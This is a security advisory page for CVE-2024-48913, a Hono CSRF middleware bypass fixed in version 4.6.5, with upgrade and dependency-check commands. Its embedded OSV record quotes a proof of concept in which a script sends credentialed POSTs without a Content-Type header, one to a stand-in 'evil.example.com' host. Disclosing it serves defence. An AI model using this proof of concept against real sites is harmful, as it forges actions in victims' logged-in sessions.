CVE-2024-48913: Hono Hono Allows Bypass Of CSRF Vulnerability
MODERATECVE-2024-48913 is a MODERATE (CVSS 5.9) hono allows bypass of csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Hono libraries in the npm ecosystem. The issue involves hono allows bypass of csrf middleware by a request without content-type header.. Remediation is available by upgrading affected packages to version 4.6.5.
CVE-2024-48913 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N).
How to Fix CVE-2024-48913
To remediate this vulnerability, upgrade all affected Hono dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install hono@4.6.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls hono
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-48913, inspect your project dependencies using npm:
npm ls hono
Analyze the terminal output to locate any version of Hono in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.5), your application is affected.
Note: The npm ls hono command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Hono, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-48913 Affected Hono Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
hono
|
npm |
< 4.6.5
|
4.6.5
|
References
Frequently Asked Questions
What is CVE-2024-48913?
Which Hono versions are affected?
What version fixes CVE-2024-48913?
Is hono affected?
What is the CVSS score of CVE-2024-48913?
What CWE is associated with CVE-2024-48913?
How can I check npm dependencies for CVE-2024-48913?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2234-fmw7-43wr",
"modified" : "2024-11-07T18:33:19Z",
"published" : "2024-10-15T17:43:50Z",
"aliases" : [ "CVE-2024-48913" ],
"summary" : "Hono allows bypass of CSRF Middleware by a request without Content-Type header.",
"details" : "### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) => {\n return c.html('Hello Hono!')\n})\napp.post('/', async (c) => {\n console.log(\"executed\")\n return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n<!-- PoC.html -->\n<script>\nasync function myclick() {\n await fetch(\"http://evil.example.com\", {\n method: \"POST\",\n credentials: \"include\",\n body:new Blob([`test`],{}),\n });\n}\n</script>\n<input type=\"button\" onclick=\"myclick()\" value=\"run\" />\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "hono"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.6.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-48913"
}, {
"type" : "WEB",
"url" : "https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/honojs/hono"
}, {
"type" : "WEB",
"url" : "https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-15T17:43:50Z",
"nvd_published_at" : "2024-10-15T16:15:05Z"
}
}